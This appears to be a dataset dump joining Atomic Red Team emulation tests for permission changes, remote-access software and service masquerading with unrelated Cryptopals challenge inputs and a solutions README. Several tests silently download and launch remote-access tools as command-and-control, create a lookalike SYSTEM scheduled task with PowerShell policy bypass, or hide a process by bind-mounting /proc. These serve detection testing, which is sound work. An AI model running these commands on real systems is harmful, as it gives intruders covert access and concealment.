deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chmod - Change file or folder mode (numeric mode) recursively
Platforms: linux, macos
Executor: sh

Description:
Changes a file or folder's permissions recursively using chmod and a specified numeric mode.


Command:
chmod -R #{numeric_mode} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chmod - Change file or folder mode (symbolic mode) recursively
Platforms: linux, macos
Executor: bash

Description:
Changes a file or folder's permissions recursively using chmod and a specified symbolic mode.


Command:
chmod -R #{symbolic_mode} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chown - Change file or folder ownership and group
Platforms: macos, linux
Executor: bash

Description:
Changes a file or folder's ownership and group information using chown.


Command:
chown #{owner}:#{group} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chown - Change file or folder ownership and group recursively
Platforms: macos, linux
Executor: bash

Description:
Changes a file or folder's ownership and group information recursively using chown.


Command:
chown -R #{owner}:#{group} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chown - Change file or folder mode ownership only
Platforms: linux, macos
Executor: sh

Description:
Changes a file or folder's ownership only using chown.


Command:
chown #{owner} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chown - Change file or folder ownership recursively
Platforms: macos, linux
Executor: bash

Description:
Changes a file or folder's ownership only recursively using chown.


Command:
chown -R #{owner} #{file_or_folder}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chattr - Remove immutable file attribute
Platforms: macos, linux
Executor: sh

Description:
Remove's a file's `immutable` attribute using `chattr`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.


Command:
chattr -i #{file_to_modify}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: chflags - Remove immutable file attribute
Platforms: linux
Executor: sh

Description:
Remove's a file's `immutable` attribute using `chflags`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.


Command:
touch #{file_to_modify}
chflags simmutable #{file_to_modify}
chflags nosimmutable #{file_to_modify}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: Chmod through c script
Platforms: macos, linux
Executor: sh

Description:
chmods a file using a c script


Command:
#{compiled_file} /tmp/ T1222002


Dependencies:
Compile the script from (#{source_file}). Destination is #{compiled_file}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: Chmod through c script (freebsd)
Platforms: linux
Executor: sh

Description:
chmods a file using a c script


Command:
#{compiled_file} /tmp/ T1222002


Dependencies:
Compile the script from (#{source_file}). Destination is #{compiled_file}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: Chown through c script
Platforms: macos, linux
Executor: sh

Description:
chowns a file to root using a c script


Command:
sudo #{compiled_file} #{source_file}


Dependencies:
Compile the script from (#{source_file}). Destination is #{compiled_file}
Atomic Red Team — T1222.002: File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification
Test: Chown through c script (freebsd)
Platforms: linux
Executor: sh

Description:
chowns a file to root using a c script


Command:
#{compiled_file} #{source_file}


Dependencies:
Compile the script from (#{source_file}). Destination is #{compiled_file}
Atomic Red Team — T1219: Remote Access Software
Test: TeamViewer Files Detected Test on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.


Command:
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'


Cleanup:
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
Atomic Red Team — T1219: Remote Access Software
Test: AnyDesk Files Detected Test on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.


Command:
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;


Cleanup:
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore
Atomic Red Team — T1219: Remote Access Software
Test: LogMeIn Files Detected Test on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.


Command:
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"


Cleanup:
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
Atomic Red Team — T1219: Remote Access Software
Test: GoToAssist Files Detected Test on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.


Command:
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;


Cleanup:
try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}
Atomic Red Team — T1219: Remote Access Software
Test: ScreenConnect Application Download and Install on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.


Command:
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qn


Cleanup:
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
Atomic Red Team — T1219: Remote Access Software
Test: Ammyy Admin Software Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed. 


Command:
Start-Process "#{Ammyy_Admin_Path}"


Cleanup:
Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue


Dependencies:
Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})
Atomic Red Team — T1219: Remote Access Software
Test: RemotePC Software Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. 
Upon successful execution, RemotePC will be executed. 


Command:
Start-Process "#{RemotePC_Path}"


Cleanup:
Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unreg

Dependencies:
RemotePC must exist on disk at the specified location (#{RemotePC_Path})
Atomic Red Team — T1219: Remote Access Software
Test: NetSupport - RAT Execution
Platforms: windows
Executor: powershell

Description:
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. 


Command:
Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"


Cleanup:
Stop-Process -Name "client32" -force -erroraction silentlycontinue


Dependencies:
NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})
Atomic Red Team — T1219: Remote Access Software
Test: UltraViewer - RAT Execution
Platforms: windows
Executor: powershell

Description:
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. 


Command:
Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'


Cleanup:
Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue


Dependencies:
Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})
Atomic Red Team — T1219: Remote Access Software
Test: UltraVNC Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.


Command:
Start-Process #{UltraVNC_Viewer_Path}


Cleanup:
Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue


Dependencies:
UltraVNC must exist at (#{UltraVNC_Viewer_Path})
Atomic Red Team — T1219: Remote Access Software
Test: MSP360 Connect Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.


Command:
Start-Process #{MSP360_Connect_Path}


Cleanup:
Stop-Process -Name "Connect" -force -erroraction silentlycontinue


Dependencies:
MSP360 must exist at (#{MSP360_Connect_Path})
Atomic Red Team — T1219: Remote Access Software
Test: RustDesk Files Detected Test on Windows
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.


Command:
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"

Cleanup:
$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Remove-Item $file1 -ErrorAction Ignore
Atomic Red Team — T1219: Remote Access Software
Test: Splashtop Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
Upon successful execution, Splashtop will be executed.


Command:
Start-Process "#{Splashtop_Path}"


Cleanup:
Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue


Dependencies:
Splashtop must exist at "#{Splashtop_Path}"
Atomic Red Team — T1219: Remote Access Software
Test: Splashtop Streamer Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.

Command:
Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"

Dependencies:
Splashtop Streamer must be installed in the location
Atomic Red Team — T1219: Remote Access Software
Test: Microsoft App Quick Assist Execution
Platforms: windows
Executor: powershell

Description:
An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine. 


Command:
Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"

Cleanup:
Stop-Process -Name quickassist
Atomic Red Team — T1036.004: Masquerading: Masquerade Task or Service
Test: Creating W32Time similar named service using schtasks
Platforms: windows
Executor: command_prompt

Description:
Creating W32Time similar named service (win32times) using schtasks just like threat actor dubbed "Operation Wocao"

Command:
schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f
schtasks /query /tn win32times


Cleanup:
schtasks /tn win32times /delete /f
Atomic Red Team — T1036.004: Masquerading: Masquerade Task or Service
Test: Creating W32Time similar named service using sc
Platforms: windows
Executor: command_prompt

Description:
Creating W32Time similar named service (win32times) using sc just like threat actor dubbed "Operation Wocao"

Command:
sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1"
sc qc win32times


Cleanup:
sc delete win32times
Atomic Red Team — T1036.004: Masquerading: Masquerade Task or Service
Test: linux rename /proc/pid/comm using prctl
Platforms: linux
Executor: sh

Description:
Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm value to "totally_legit".  This will show up as process name in simple 'ps' listings.


Command:
#{exe_path} & ps
TMP=`ps | grep totally_legit`
if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi
exit 0


Cleanup:
rm -f #{exe_path}


Dependencies:
#{exe_path} must be exist on system.
Atomic Red Team — T1036.004: Masquerading: Masquerade Task or Service
Test: Hiding a malicious process with bind mounts
Platforms: linux
Executor: sh

Description:
Creates a malicious process and hides it by bind mounting to the /proc filesystem of a benign process


Command:
eval '(while true; do :; done) &'
echo $! > /tmp/evil_pid.txt
random_kernel_pid=$(ps -ef | grep "\[.*\]" | awk '{print $2}' | shuf -n 1)
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)


Cleanup:
kill $(cat /tmp/evil_pid.txt) || echo "Failed to kill PID $evil_pid"
rm /tmp/evil_pid.txt
S6C44 input

msg: Listen for me, you better listen for me now. 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]615804316
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]10474875
m: a4db3de27e2db3e5ef085ced2bced91b82e0df19
msg: Listen for me, you better listen for me now. 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]9516683
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]4169532
m: a4db3de27e2db3e5ef085ced2bced91b82e0df19
msg: When me rockin' the microphone me rock on steady, 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]13405915
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]45721541
m: 21194f72fe39a80c9c20689b8cf6ce9b0e7e52d4
msg: Yes a Daddy me Snow me are de article dan. 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]122277350
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]857446485
m: 1d7aaaa05d2dee2f7dabdc6fa70b6ddab9c051c5
msg: But in a in an' a out de dance em 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]95279549
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]5133736
m: 6bc188db6e9e6c7d796f7fdd7fa411776d7a9ff
msg: Aye say where you come from a, 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]5114553
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]9264007
m: 5ff4d4e8be2f8aae8a5bfaabf7408bd7628f43c9
msg: People em say ya come from Jamaica, 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]059955513
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]40220795
m: 7d9abd18bbecdaa93650ecc4da1b9fcae911412
msg: But me born an' raised in the ghetto that I want yas to know, 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]14568162
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]75316699
m: 88b9e184393408b133efef59fcef85576d69e249
msg: Pure black people mon is all I mon know. 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]552714967
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]10474875
m: d22804c4899b522b23eda34d2137cd8cc22b9ce8
msg: Yeah me shoes a an tear up an' now me toes is a show a 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]62367256
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]4169532
m: bc7ec371d951977cba10381da08fe934dea80314
msg: Where me a born in are de one Toronto, so 
s:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]82138703
r:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]45721541
m: d6340bfcda59b6b75b59ca634813d572de800e8f
README

# Cryptopals 

This are my solutions to the [Matasano Cryptopals cryptographic challenges][1].

The code is written in pure Python 3 and it is extensively documented.

## How to run

I recommend using a Python virtual environment. Here is a very small cheat sheet for it:

```sh
# Install virtualenv if not already installed
$ pip3 install virtualenv

# Create the virtual environment
$ virtualenv -p python3 venv

# Activate the virtual environment
$ source venv/bin/activate

# Install the dependencies
$ pip3 install requests 
$ pip3 install flask 
$ pip3 install pycrypto

# Deactivate the environment (after you are done running the challenges):
$ deactivate
```

When the environment is ready, you can run each challenge by simply calling `python S*C**.py`, after 
 replacing `*` with the number of the set, and `**` with the number of the challenge. Beware that:
 - Some challenges take a long time to run.
 - For some challenges you might need to run the server first.


## What are these challenges?

Cryptopals is a collection of exercises that demonstrate attacks on real world ciphers and protocols. 
 Exercises exploit both badly designed systems and subtle implementation bugs in theoretically rock solid crypto.

## Thoughts and notes

These challenges are among the best programming / math / crypto exercises I have done.

By solving all of them not only I learned more about applied cryptography, but also I honed my
 programming skills in Python.
  
I wrote down some thoughts and notes in the comments of the code.

As an additional note, I personally found sets 5 and 6 to be - on average - easier than the previous ones, although
  in the website they state that they should be "significantly harder".

## Coming in the future

 - Solutions to sets 7 and 8: I am looking forward to when the set 8 challenges will be published 
on the website.

## Contribute

Please feel invited to contribute by creating a pull request to submit the code or bug fixes you would like 
to be included in my solutions.

## License

Everything in this repository is distributed under the terms of the MIT License. 
See file "LICENSE" for further reference.

   [1]: <http://www.cryptopals.com>
S3C19 input

SSBoYXZlIG1ldCB0aGVtIGF0IGNsb3NlIG9mIGRheQ==
Q29taW5nIHdpdGggdml2aWQgZmFjZXM=
RnJvbSBjb3VudGVyIG9yIGRlc2sgYW1vbmcgZ3JleQ==
RWlnaHRlZW50aC1jZW50dXJ5IGhvdXNlcy4=
SSBoYXZlIHBhc3NlZCB3aXRoIGEgbm9kIG9mIHRoZSBoZWFk
T3IgcG9saXRlIG1lYW5pbmdsZXNzIHdvcmRzLA==
T3IgaGF2ZSBsaW5nZXJlZCBhd2hpbGUgYW5kIHNhaWQ=
UG9saXRlIG1lYW5pbmdsZXNzIHdvcmRzLA==
QW5kIHRob3VnaHQgYmVmb3JlIEkgaGFkIGRvbmU=
T2YgYSBtb2NraW5nIHRhbGUgb3IgYSBnaWJl
VG8gcGxlYXNlIGEgY29tcGFuaW9u
QXJvdW5kIHRoZSBmaXJlIGF0IHRoZSBjbHViLA==
QmVpbmcgY2VydGFpbiB0aGF0IHRoZXkgYW5kIEk=
QnV0IGxpdmVkIHdoZXJlIG1vdGxleSBpcyB3b3JuOg==
QWxsIGNoYW5nZWQsIGNoYW5nZWQgdXR0ZXJseTo=
QSB0ZXJyaWJsZSBiZWF1dHkgaXMgYm9ybi4=
VGhhdCB3b21hbidzIGRheXMgd2VyZSBzcGVudA==
SW4gaWdub3JhbnQgZ29vZCB3aWxsLA==
SGVyIG5pZ2h0cyBpbiBhcmd1bWVudA==
VW50aWwgaGVyIHZvaWNlIGdyZXcgc2hyaWxsLg==
V2hhdCB2b2ljZSBtb3JlIHN3ZWV0IHRoYW4gaGVycw==
V2hlbiB5b3VuZyBhbmQgYmVhdXRpZnVsLA==
U2hlIHJvZGUgdG8gaGFycmllcnM/
VGhpcyBtYW4gaGFkIGtlcHQgYSBzY2hvb2w=
QW5kIHJvZGUgb3VyIHdpbmdlZCBob3JzZS4=
VGhpcyBvdGhlciBoaXMgaGVscGVyIGFuZCBmcmllbmQ=
V2FzIGNvbWluZyBpbnRvIGhpcyBmb3JjZTs=
SGUgbWlnaHQgaGF2ZSB3b24gZmFtZSBpbiB0aGUgZW5kLA==
U28gc2Vuc2l0aXZlIGhpcyBuYXR1cmUgc2VlbWVkLA==
U28gZGFyaW5nIGFuZCBzd2VldCBoaXMgdGhvdWdodC4=
VGhpcyBvdGhlciBtYW4gSSBoYWQgZHJlYW1lZA==
QSBkcnVua2VuLCB2YWluLWdsb3Jpb3VzIGxvdXQu
SGUgaGFkIGRvbmUgbW9zdCBiaXR0ZXIgd3Jvbmc=
VG8gc29tZSB3aG8gYXJlIG5lYXIgbXkgaGVhcnQs
WWV0IEkgbnVtYmVyIGhpbSBpbiB0aGUgc29uZzs=
SGUsIHRvbywgaGFzIHJlc2lnbmVkIGhpcyBwYXJ0
SW4gdGhlIGNhc3VhbCBjb21lZHk7
SGUsIHRvbywgaGFzIGJlZW4gY2hhbmdlZCBpbiBoaXMgdHVybiw=
VHJhbnNmb3JtZWQgdXR0ZXJseTo=
QSB0ZXJyaWJsZSBiZWF1dHkgaXMgYm9ybi4=
S3C17 input

MDAwMDAwTm93IHRoYXQgdGhlIHBhcnR5IGlzIGp1bXBpbmc=
MDAwMDAxV2l0aCB0aGUgYmFzcyBraWNrZWQgaW4gYW5kIHRoZSBWZWdhJ3MgYXJlIHB1bXBpbic=
MDAwMDAyUXVpY2sgdG8gdGhlIHBvaW50LCB0byB0aGUgcG9pbnQsIG5vIGZha2luZw==
MDAwMDAzQ29va2luZyBNQydzIGxpa2UgYSBwb3VuZCBvZiBiYWNvbg==
MDAwMDA0QnVybmluZyAnZW0sIGlmIHlvdSBhaW4ndCBxdWljayBhbmQgbmltYmxl
MDAwMDA1SSBnbyBjcmF6eSB3aGVuIEkgaGVhciBhIGN5bWJhbA==
MDAwMDA2QW5kIGEgaGlnaCBoYXQgd2l0aCBhIHNvdXBlZCB1cCB0ZW1wbw==
MDAwMDA3SSdtIG9uIGEgcm9sbCwgaXQncyB0aW1lIHRvIGdvIHNvbG8=
MDAwMDA4b2xsaW4nIGluIG15IGZpdmUgcG9pbnQgb2g=
MDAwMDA5aXRoIG15IHJhZy10b3AgZG93biBzbyBteSBoYWlyIGNhbiBibG93